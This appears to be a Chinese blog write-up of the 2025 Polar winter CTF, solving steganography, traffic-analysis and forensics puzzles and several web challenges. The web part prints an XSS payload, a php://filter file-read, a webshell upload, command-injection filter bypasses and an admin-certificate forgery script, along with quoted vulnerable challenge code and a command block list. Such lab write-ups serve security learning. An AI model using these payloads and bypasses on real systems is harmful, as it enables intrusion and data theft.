2025polar冬季赛复盘(WEB,MISC)

前言

之前一直在polar靶场刷题,周六参加了这个冬季挑战赛,很多题就是写着写着突然就没思路了,只剩下无奈。还是自己太菜了。下面就看着官方视频复现吧。

MISC

这次misc真是无语了,除了流量分析写的人多,剩下的就没几个人写出来,服了

猛攻!

附件是一个图片一个压缩包,然后没想到是图片隐写术解密,这个考点之前只见过一次,这次吸取教训吧,这里使用在线图片添加/解密隐藏信息(隐写术)工具 - 站长辅助工具 - 脚本之家在线工具

在线解密得到隐藏信息

密码是6DFUP。

解压得到一个流量包,这个非常简单,直接看那个上传得流量包

flag{che_li_cheng_gong}

这一题主要是卡到了图片隐写!!!!!!

先有圣人后有天

这一题我就要吐槽一下官方了,在官方解答视频中他使用的附件名字是蓝瘦香菇的秘密啊.png,而在比赛平台中下载使用的附件名只有一个png,这就是官方的问题了,这波是被信息差了...

解题思路就是由附件名字中的秘密,想到oursecret,然后就要找密码。在图片属性中2022/11/12 21:29.这个很明显就是密码。

22021112,提取出一个图片,随波逐流分析图片,检测到宽高被修改,修复后得到下图

flag{megumikatoisfairyinthepainting}

Chinesecode航行国际

附件是一个压缩包,到这个提示我就看不懂了了,只知道密码长度是4或者5,出题人是个村里人,但是我不理解为啥密码是特殊符号,

爆破得到密码?@@!

解压得到一个exe,发现无法运行,放进010看一下

这明显就是一个压缩包,看文件结构还是一个docx文件,在压缩包中看文件

就需要把这个附件单独拿出来了,官方给的解释是如果把docx文件改为zip的话,不属于正常架构应该有的文件会消失,所以这个要先预存一下,感谢官方大大又学了一个知识点。

然后修改压缩包为docx文件。

文档常见的考点就是修改字体颜色还有隐藏文字,所以把文件->选项->隐藏文字这个选项打开,以后再遇到考察隐藏文字就可以直接看到了。

上面那个就是符号,下面就是隐藏文字,上面的符号是国际信号旗

一一对应得到PQWS2,那个隐藏文字在文档中无法直接复制的,在字体中关闭隐藏文字的属性就可以复制了

一共是3段

PQWS2

ID4PR6C2LJNEAWSA7D4FUWSAIBAFUWS2ID4PR6HYLJNFUWSAIBAPQWS2

LJNEB6HYLJNFUWS2IBNFUQHY7D4FUWS2LI=,这一段末尾有=,这个在最后面

拼接还就是

PQWS2ID4PR6C2LJNEAWSA7D4FUWSAIBAFUWS2ID4PR6HYLJNFUWSAIBAPQWS2LJNEB6HYLJNFUWS2IBNFUQHY7D4FUWS2LI=

base32解码

|-- |||--- - ||-- --- ||||---- |---- ||----- -- |||----

这个摩斯密码解密出来不是flag。有题目名汉码国际,在随波逐流一键解码,汉码解码

flag{flagispwer}

凯撒5世的IDAT

这个一眼修宽高,修改后得到是信息IDAT块冗余数据,在010提取冗余的数据,其实这一题还是给它提示了,在010看十六进制数据

kqht{GED6F8GDE3JDM2HED6J3I}

凯撒5解密

flco{BZY6A8BYZ3EYH2CZY6E3D},应该还是附件问题,从比赛平台下载得附件没有把co变成ag这一提示,不过这个因该不影响

flag{BZY6A8BYZ3EYH2CZY6E3D}

文字魔法

附件首先先看这个魔法少女文字,这个之前见到过,

按照这个表一一的对应,得到dgopsuv,然后是一段音频,直接听没得到啥信息,然后就上工具,使用slienteye得到一张图片

图片内容就是全数字,然后爆破压缩包

解压得到一个压缩包还有一个音频,这个音频也没隐藏啥信息,在属性有个发布者:mofashaonv

这个是压缩包密码解压得到lz4文件,解压工具地址https://link.gitcode.com/i/d294b9afcb8ad84a01b2c2a5307b8e94?uuid_tt_dd=10_28699378410-1762942975426-641820&isLogin=1&from_id=142947593

然后得到一个压缩包,还需要密码这个密码就是dgopsuv,打开发现数据包很小,看了每个包都有数据,在第三个包中

base100解码最后两位

下面是16 32 58 可以想到base16 base32等,

然后把数据包的数据的最后两位依次按照上述顺序编码

7177MRTA====8oCaGc=D/0_iD

flag{7177MRTA====8oCaGc=D/0_iD}

藏在数字里的秘密

这一个加密文件使用vc挂载,根据提示是某个日期有关,尝试111111挂载后得到一个flag,但这个假的,平常遇见的加密容器就只有一个密码,但是这个是由两个,应该是hc 容器启用了**VeraCrypt 隐藏卷,**不同密码对应不同的加密头部与主密钥,分别解锁外层卷与隐藏卷,呈现两套独立文件系统。

这个日期就是文件修改的日期202511,就得到另一个加密卷的文件,有一个压缩包一个图片,一个文档一个程序,但是运行不了,一直显示

文档中修改字体颜色有很小的文字分别是SXRfaXNfYV9teX,然后看图片十六进制数据

在最后有N0ZXJpb3V,最后用ida打开exe,查看字符串

这三段拼一起,还是带等号的在最后面

SXRfaXNfYV9teXN0ZXJpb3VzX2NvZGU=,base64解码It_is_a_mysterious_code,解压得到一坐标,转图片。

flag{a9dc965fcc0447b}

Source of danger 1

在统计->端点中只有两个ip

尝试后是第二个flag{192.168.27.15}

Source of danger 2

http流随便追踪一个

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0

flag{Edge142.0.0.0}

Source of danger 3

直接在wireshark中导出文件中搜索这个图片,

flag{ChatGPT}

Source of danger 4

在tcp145号的ua中

Flag{2.32.5}

Source of danger 5

还是在最后一个包有个url

flag{http://192.168.27.15/source/ecshop/admin/privilege.php}

Virtual_currency 1

这个账号是huanglei,密码是19460214,比赛的时候怎么输密码都不对这题都没写,感觉被做局了😭

启动看目录有docker容器,这里我复现不出来,为啥我得到的ip跟官方的不一样

这里放一张图

交易的是Polar币

flag{Polar币}

Virtual_currency 2

这个在矿仔靶机中有隐藏的polarctf.exe,反编译后有个miner.pyc,再反编译,有黑客的地址

flag{9598f90b557fdf01558f9061c09195647f3ca9261264485319279e1da7a7ac48}

Virtual_currency 3

看docker日志

那个95开头的是黑客地址,那90开头的或者c3开头的经过尝试是

flag{9004ddca99ff4aa70ef6cd27d2f3b81103c25d33c1384549a4f3bb0fdc035ef4}

Virtual_currency 4

如上图,一共就三个ip,192.168.192.130,192.138.192.129,192.168.192.1。经过中转后最后应该就是客户地址

flag{192.168.192.129}

Virtual_currency 5

flag{polarCTF.exe}

web

来个弹窗2.0

这个就弄一个弹窗就行了,有waf但不多过滤了script,这里使用

<img src="1" οnerrοr=eval("alert('xss')")>

这是本萨姆

flag{0735987a1391de965a0717fc7c4f6a1a}

help

直接在源码里

复制代码
   <div class="flag-modal" id="flagModal">
        <div class="modal-content">
            <div class="modal-title">🎉 恭喜通关!找到零食啦!</div>
            <div class="hamster" style="margin-bottom: 10px;">🐹:太感谢你啦!我终于吃到零食了~</div>
            <div class="flag-text">ZmxhZ3t3b19haV9ndWFfeml9</div>
            <button class="close-modal" onclick="closeModal()">关闭</button>
        </div>

ZmxhZ3t3b19haV9ndWFfeml9,base64解码

flag{wo_ai_gua_zi}

cookie欺骗2.0

首先登入再抓包user=user1; auth=herf1。herf1是将user1进行rot13编码,将admin也rot13编码一下修改

User=admin,auth=nqzva

就得到flag

uii

首先看源码得到要输入的拿铁,然后代码审计,如果uii的值url解码后等于Yzz,输出flag,因此payload

?uii=%59%7A%7A

狗黑子的跳转

首先前端禁用is,把那个按钮改为不会动的。然后进入是一个文件上传,只允许上传图片,上传图片后发现访问不到文件,然后看url有ghzgouheizi.php尝试文件包含

?gou=php://filter/convert.base64-encode/resource=ghzgouheizi.php\

复制代码
<?php

if (!isset($_GET['gou'])) {
    header("Location: ?gou=ghzgouheizi.php");
    exit;
}


$gou = $_GET['gou'];


if (strpos($gou, '../') !== false) {
    die("不允许访问上级目录!");
}

$blockProtocols = ['php://input', 'data://', 'phar://'];
foreach ($blockProtocols as $proto) {
    if (strpos($gou, $proto) === 0) {
        die("禁止使用危险协议!");
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $file = $_FILES['file'];
    
    $allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
    if (!in_array($file['type'], $allowedTypes)) {
        die("只允许上传图片文件!");
    }
    
    $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
    if (empty($ext)) {
        die("文件缺少扩展名!");
    }
    
    $originalName = $file['name'];
    $base64Name = base64_encode($originalName);
    $md5Name = md5($base64Name);
    $filename = $md5Name . '.' . $ext;
    
    $uploadDir = './uploads/';
    if (!is_dir($uploadDir)) {
        mkdir($uploadDir, 0755, true);
    }
    
    $uploadPath = $uploadDir . $filename;
    if (move_uploaded_file($file['tmp_name'], $uploadPath)) {
        echo "文件上传成功!";
    } else {
        die("文件上传失败!");
    }
}

$currentFile = basename(__FILE__);
if ($gou !== $currentFile) {
    $includePath = './' . $gou;
    if (strpos($gou, 'php://filter') === 0) {
        include($gou);
    } elseif (is_file($includePath)) {
        include($includePath);
    } else {
        die("包含的文件不存在或不是有效文件!");
    }
    exit;
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>狗黑子的小破站</title>
</head>
<body>
    <form method="post" enctype="multipart/form-data">
        <input type="file" name="file" accept="image/*">
        <button type="submit">上传</button>
    </form>
</body>
</html>

文件名先被base64编码然后md5加密,还是MIME 类型仅允许图片,那就抓包改类型就行了

这里上传2.php

蚁剑连接就行了

PolarShop

这个积分可以在前端修改,

修改后得到提示,下载附件得到购物清单但是这应该是个字典

扫目录有个admin.php,

提示有Squirtle这个账户,然后密码爆破得到是5qu1rtle

然后ai分析前端代码得按钮的 onclick 事件会触发一个 viewSecret() 函数。该函数通过 fetch 向服务器发送一个 POST 请求,请求参数为 action=view_secret。服务器会根据这个请求判断是否返回 flag。

抓包,改包user=Squirtle

aa

在源码有个i.php

复制代码
<?php
highlight_file(__FILE__);
 $rawX = 'NjU0Nw==';         
 $rawY = '123';         
 $rawZ = '17%2B8';        

  function decodeX($value) {
    return intval(base64_decode($value));
}

  function processY($value) {
    $reversed = strrev($value);  
    $md5Result = md5($reversed); 
    return substr($md5Result, 0, 8); 

}

  function decodeZ($value) {
    $decoded = urldecode($value);
   return eval("return $decoded;");

}

   $X = decodeX($rawX);
   $Y = processY($rawY);
   $Z = decodeZ($rawZ);

   $flag = $X + $Y + $Z;
   
?>

x是先解码base64NjU0Nw==是6547

Y是123反转,然后md5加密取前8位caf1a3df

Z是url解码时17+8=25

flag{6547caf1a3df25}

金币大挑战

这里抓包看信息,金币加1是

重置是

当金币加到20就无法加金币,这里在20的时候抓包重置金币,把resrt改为add_coin,比赛的时候就直接在前端改元素,就进去了,然后有个压缩包,纯数字爆破密码是1170,得到Squirtle1170

然后接下来就是脑洞了,根据题目的杰尼龟的文件路径得到有uploads目录,然后就是根据网页信息得知网站有文件上传漏洞,而且还提到例如:留下以自己名字命名的文件或者账号,传入自己的标志性图案。 慢慢的,这些也成为了其难以更改的习惯......

那个这个就可能是上传的webshell文件名Squirtle,尝试访问/uploads/Squirtle.php发现确实有这个文件,蚁剑连接

不抽象的狗黑子

这里在看图片发现有?gou=1,然后就可以尝试爆破这个数字

发现321非常可疑

得到提示hint: 进入gouhuizi.php看看

tip: 有时候没有思路,可以试试题目

然后到页面是一个输入框,然后试试题目不抽象的狗黑子,发现不是本题的题目,就是题目这两个字,发现外带,这就考察rce执行不回显了,

使用 ls /|tee 1.txt

有个flag.php的文件内容是一段base64编码,内容并不是flag

find / -name "flag*" | tee 8.txt 列出所有与flag有关的文件

最后一个flag.php不是那就是第一个,

cat /ect/flag |tee 2.txt得到flag

polarflag

一个登入界面,然后扫目录有个flag.txt,

复制代码
<?php
$original = "flag{polar_flag_in_here}";


$ascii_codes = [117, 115, 101, 114, 110, 97, 109, 101];
$new = "";
foreach ($ascii_codes as $code) {
    $new .= chr($code);
}


function replaceString($original, $new) {
    $temp = str_replace("flag{", "the_", $original);
    $temp = str_replace("polar_flag_in_here}", $new . "_is_polar", $temp);
    return $temp;
}

$result = replaceString($orginal, $ne1w);


echo "flag{polar_flag_in_here}";
?>

代码有点小错误ai直接修改就行了,修改后的运行结果

复制代码
 the_username_is_polar

用户名是polar,密码给字典了爆破

密码是6666,然后就是代码审计

复制代码
<?php
error_reporting(0);
session_start();
if(isset($_GET['logout'])){
    session_destroy();
    header('Location: index.php');
    exit();
}
// 初始化会话变量
if(!isset($_SESSION['collision_passed'])) {
    $_SESSION['collision_passed'] = false;
}
//想赢的人脸上是没有笑容的 
if(isset($_POST['a']) && isset($_POST['b'])) {
    if($_POST['a'] != $_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo "MD5 不错不错 \n";
        $_SESSION['collision_passed'] = true;
    } else {
        echo "MD5 你不行啊\n";
        $_SESSION['collision_passed'] = false;
    }
}


if(isset($_GET["polar"])){
    if($_SESSION['collision_passed']) {
        if(preg_match('/et|echo|cat|tac|base|sh|tar|more|less|tail|nl|fl|vi|head|env|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["polar"])){
           echo "gun gun !";
        } else {
            echo "polar polar !";
            system($_GET["polar"]);
        }
    } else {
        echo "回去吧,这块不要了\n";
    }
} else {
    show_source(__FILE__);
    echo '<br><br><a href="?logout=1" style="color: #4CAF50; text-decoration: none; font-weight: bold;">回家喽</a>';
}
?>

第一个是md5校验,可以找md5值是0e开头的也可以是使用数组绕过,md5函数不能处理数组,还返回0,那就是0=0,

a[]=1&b[]=2

然后就可以rce了过滤了/;`'空格等等。

这里cat被过滤了使用${b}绕过

l${b}s=ls

flag不在当前目录,然后/被过滤了使用&&一层一层看

最后发现polarflag

?polar=cd%09..%26%26cd%09..%26%26cd%09..%26%26ca{b}t%09polarf{b}lag

还有就是用${PWD:0:1}(截取PWD环境变量的第一个字符,就是/)代替,就不用一层一层找了

?polar=ca{b}t%09{PWD:0:1}polarf${b}lag

论坛

扫目录有forum.php,然后在源码中有个一个 script.js,

访问后发现ffff1@g.php,访问得到flag

证书

根据题目要求先注册,然后登入证书系统,登入后最下面有提示

聊天后发现没有啥信息,就扫目录有个flag.txt

查看后得到一堆字符串,用来跟客服聊条爆破,但是都是回显302

放包后发现这是一次性发过去了

不过在下面

w6pnYgS41IX+TlWs3or7vcDMBRqzudi9P5GmCh/bN8ytZAjeUax2HLQJE0KVFkfO

然后就要生成具有管理员权限的证书

复制代码
import json
import base64
import datetime
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.backends import default_backend

CUSTOM_BASE64_TABLE = "w6pnYgS41IX+TlWs3or7vcDMBRqzudi9P5GmCh/bN8ytZAjeUax2HLQJE0KVFkfO"
STANDARD_TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

def custom_base64_encode(data):
    if isinstance(data, str):
        data = data.encode('utf-8')
    standard_encoded = base64.b64encode(data).decode('ascii')
    translation_table = str.maketrans(STANDARD_TABLE, CUSTOM_BASE64_TABLE)
    return standard_encoded.translate(translation_table)

def generate_validation_tag(username, role):
    validation_string = f"{username}|{role}"
    return custom_base64_encode(validation_string)

def generate_key_pair():
    private_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    public_key = private_key.public_key()
    private_pem = private_key.private_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PrivateFormat.PKCS8,
        encryption_algorithm=serialization.NoEncryption()
    ).decode('utf-8')
    public_pem = public_key.public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo
    ).decode('utf-8')
    return private_pem, public_pem

def create_admin_certificate():
    username = "admin"
    private_key, public_key = generate_key_pair()
    cert_data = {
        'username': username,
        'email': 'admin@example.com',
        'phone': '10000000000',
        'role': 'admin',
        'created_at': datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
        'expires_at': (datetime.datetime.now() + datetime.timedelta(days=365)).strftime("%Y-%m-%d %H:%M:%S"),
        'public_key': public_key,
        'validation_tag': generate_validation_tag(username, 'admin')
    }
    cert_string = json.dumps(cert_data, ensure_ascii=False, separators=(',', ':'))
    private_key_obj = serialization.load_pem_private_key(
        private_key.encode('utf-8'),
        password=None,
        backend=default_backend()
    )
    signature = private_key_obj.sign(
        cert_string.encode('utf-8'),
        padding.PKCS1v15(),
        hashes.SHA256()
    )
    forged_cert = {
        'version': '2.1',
        'data': cert_data,
        'signature': base64.b64encode(signature).decode('utf-8'),
        'algorithm': 'SHA256'
    }
    with open('admin_cert.cert', 'w', encoding='utf-8') as f:
        json.dump(forged_cert, f, indent=2, ensure_ascii=False)
    print("管理员证书已生成: admin_cert.cert")

if __name__ == "__main__":
    create_admin_certificate()

然后登入成功.然后就是rce,flag在根目录,cat被过滤了同tac

完结撒花🎇🎇🎇,这冬季赛告一段落。总的来说还是收获满满,期待来年春季赛再创新高👍👍

相关推荐
HealthScience1 小时前
vscode通过跳板机连接到服务器
服务器·ide·vscode
翔云1234561 小时前
服务器异常崩溃,GTID 是否会出现在 mysql.gtid_executed 表但不在 binlog 中
服务器·mysql·adb
寒山李白1 小时前
关于supervisor-win的安装、配置和使用
服务器·python·supervisor
weixin_448855771 小时前
自动化构建、测试、部署(上)
运维·自动化
G_Cloudpipe1 小时前
Nginx 服务器部署
运维·服务器·nginx
AttaGain1 小时前
GitLab数据备迁移及系统升级
运维·服务器·gitlab
梁正雄1 小时前
9、Python面向对象编程-1
服务器·开发语言·python
忘忧记2 小时前
典型局域网组建方案简介
运维·网络·智能路由器
测试人社区—52722 小时前
破茧成蝶:DevOps流水线测试环节的效能跃迁之路
运维·前端·人工智能·git·测试工具·自动化·devops